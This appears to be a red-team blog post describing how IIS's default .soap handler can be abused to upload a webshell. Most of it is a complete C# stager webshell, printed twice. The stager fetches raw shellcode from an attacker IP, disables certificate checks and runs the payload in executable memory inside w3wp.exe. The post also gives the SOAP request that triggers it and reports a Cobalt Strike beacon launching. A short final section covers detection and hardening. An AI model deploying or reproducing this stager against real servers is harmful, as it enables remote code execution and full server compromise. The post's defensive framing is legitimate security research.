IIS - SOAP
This page describes how to run shellcode from a webshell with a .soap extension. Sometimes web applications use upload blacklists and forget about this extension type.

TL;DR

Introduction

During one of our regular Purple Team workshops, we focused around so-called edge attacks: techniques to acquire an initial foothold on an internet-facing device. For this particular session, we deployed 4 Windows and Linux machines. For every OS type, there was 1 test box without defenses and 3 others, each with a top-tier EDR solution installed.
The machines had various vulnerable services, such as IIS with ASP and unrestricted file upload, PHP applications with known vulnerabilities, a Java Spring app with the recently disclosed Spring4Shell issue and an application with a buffer overflow vulnerability.
The goal of the workshop was to identify gaps in the detection of the default configuration to strenghten our own defenses with custom rules and improve our toolset for during Red Team engagements. We employed various techniques to gain a foothold and collaborated closely with our internal Blue Team to analyze detections.
When checking our the IIS possibilities, we stumbled accross a SOAP handler, which appears to be a lesser-known vector to acquire a webshell on the target.

Discovery

Our journey begun with the discovery of the strange soap extension handler in the default ASP web.config. This means that the extension is likely enabled on any out of the box IIS installation with ASP support. The config file can be found at the path below:
C:\Windows\Microsoft.NET\Framework64\{Framework Version}\Config\Web.config
Two HTTP handlers immediately stood out. I never encountered these extensions in a web application before and it seemed quite strange for them to be enabled by default
1
<add path="*.rem" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False" />
2
<add path="*.soap" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False" />
Copied!
You can also find these in the IIS Handler Mappings, as shown below.
.rem and .soap HTTP handlers are enabled
Not much documentation of these extensions exist, so I decided to go for the trial and error approach by uploading a test file for each extension. Strangely enough, the .rem test file threw an error.
Build provider not registered error
This can be verified by checking the Web.Config file again. Note how .rem does not have a build provider, but .soap does! Interesting fact: The build provider appeared to be the same as .asmx.
.rem build provider missing, but .soap is available
To verify this, I accessed the soap test file. There appeared to be an attempt to parse ASP - style code.
Parse error of the soap extension

WebShell Development

As most offensive security folks know, time is limited and we do not want to reinvent the wheel. I went ahead and navigated my way through existing .soap and .asmx webshell samples. There appeared to be very limited proof of concepts. The two that stood out were basically almost the same code but different extensions.
webshell/Customize.soap at master · tennc/webshell
GitHub
webshell/customize.asmx at master · tennc/webshell
GitHub
Sadly, I could not get the above webshells to work in my lab environment. However, one could easily spot the structure and differences for both extensions from the samples. With this knowledge, I tried to build my own stager webshell implementation.
First, I declared the webservice to be parsed by the ASP engine.
1
<%@ WebService Language="C#" class="SoapStager"%>
Copied!
Next, I imported the libraries I wanted to use in the stager.
1
using System;
2
using System.IO;
3
using System.Web;
4
using System.Web.Services;
5
using System.Net;
6
using System.Net.NetworkInformation;
7
using System.Net.Security;code
Copied!
Followed by the webservice binding and namespace declaration.
1
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
2
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
Copied!
More info at the following link:
WebServiceBindingAttribute Class (System.Web.Services)
docsmsft
Next, I defined the SoapStager class, which is an implementation of MarshalByRefObject. This is the main difference with the asmx extension.
1
public class SoapStager : MarshalByRefObject
Copied!
The class begins with some unmanaged code imports, like VirtualAlloc and CreateThread to allocate executable memory and move the shellcode to a new thread of the webserver process (w3wp.exe)
1
{
2
private static Int32 MEM_COMMIT=0x1000;
3
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
4
5
[System.Runtime.InteropServices.DllImport("kernel32")]
6
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
7
8
[System.Runtime.InteropServices.DllImport("kernel32")]
9
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
Copied!
Finally, I implemented the loadStage SOAP method to download raw shellcode from a local webserver via System.Net.webClient, allocate executable memory and copy the binary data to it. After this, the web method should create a new thread from the w3wp.exe IIS worker process via the CreateThread API call.
1
[System.ComponentModel.ToolboxItem(false)]
2
[WebMethod]
3
public string loadStage()
4
{
5
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
6
byte[] rzjUFlLZh;
7
8
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
9
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
10
11
// in case of HTTPS
12
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
13
{
14
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
15
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
16
webClient.UseDefaultCredentials = true;
17
rzjUFlLZh = webClient.DownloadData(Url);
18
}
19
20
21
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
22
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
23
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
24
IntPtr owlqRoQI_ms = IntPtr.Zero;
25
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
26
27
return "finished"; //SOAP implementation requires a return value
28
}
29
}
Copied!

Code Execution

To verify if the shell worked, I uploaded it to an IIS webserver with unrestricted file upload. I chose to upload it as soap_final.soap.
Unresetricted file upload page
The file was successfully uploaded
Next, I accessed the newly uploaded page in the browser. This resulted in the following message, containing a link to the WSDL and loadStage method information:
Link to the WSDL and loadStage method
At this point, the easiest way to build the correct soap request was to parse the WSDL XML automatically. In this case, I used BurpSuite's Wsdler extension. This was as easy as right clicking the request for the WSDL specification (add ?WSDL to the request to your uploaded SOAP file) and executing Extensions > Wsdler > Parse WSDL.
WSDL parsing with Wsdler
This resulted in a new entry in the Wsdler tab:
New request based on parsed data
Finally, the SOAP request to execute the loadStage method was sent via Burp Repeater. HTTP Request:
1
POST //soap_final.soap HTTP/1.1
2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4
Accept-Language: nl,en-US;q=0.7,en;q=0.3
5
Accept-Encoding: gzip, deflate
6
Connection: close
7
Referer: http://10.90.244.138:8888/soap_final.soap
8
Upgrade-Insecure-Requests: 1
9
SOAPAction: http://EC2AMAZ-2LD529D//SoapStager#loadStage
10
Content-Type: text/xml;charset=UTF-8
11
Host: 10.90.244.138:8888
12
Content-Length: 423
13
14
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:app="http://schemas.microsoft.com/clr/nsassem/SoapStager/App_Web_idg021ho"> <soapenv:Header/> <soapenv:Body> <app:loadStage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </soapenv:Body> </soapenv:Envelope>
Copied!
Which resulted in the following HTTP Response, indicating successful execution:
Successful method execution
In this case, a Cobalt Strike beacon successfully launched in w3wp.exe:
Beacon successfully executed
Successful beacon in w3wp.exe as DefaultAppPool

Full Proof of Concept

1
<%@ WebService Language="C#" class="SoapStager"%>
2
using System;
3
using System.IO;
4
using System.Web;
5
using System.Web.Services;
6
using System.Net;
7
using System.Net.NetworkInformation;
8
using System.Net.Security;
9
10
11
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
12
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
13
public class SoapStager : MarshalByRefObject
14
{
15
private static Int32 MEM_COMMIT=0x1000;
16
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
17
18
[System.Runtime.InteropServices.DllImport("kernel32")]
19
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
20
21
[System.Runtime.InteropServices.DllImport("kernel32")]
22
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
23
24
25
[System.ComponentModel.ToolboxItem(false)]
26
[WebMethod]
27
public string loadStage()
28
{
29
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
30
byte[] rzjUFlLZh;
31
32
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
33
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
34
35
// in case of HTTPS
36
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
37
{
38
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
39
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
40
webClient.UseDefaultCredentials = true;
41
rzjUFlLZh = webClient.DownloadData(Url);
42
}
43
44
45
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
46
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
47
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
48
IntPtr owlqRoQI_ms = IntPtr.Zero;
49
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
50
51
return "finished";
52
}
53
}
Copied!

Detections

We tested these against some of the top-tier EDRs and surprisingly, the detection rate appeared to be quite low out of the box. Though, there is no need for most web server processes to be writing/modifying .soap extension files. Adding a detection rule for this should therefore be quite trivial.
Additionally, there is little documentation to available for development of pages with this .soap extension. Therefore, there is no reason for it to be enabled by default. Harden your IIS configuration by disabling this in your web.config. Perhaps Microsoft can disable this in future IIS with ASP deployments?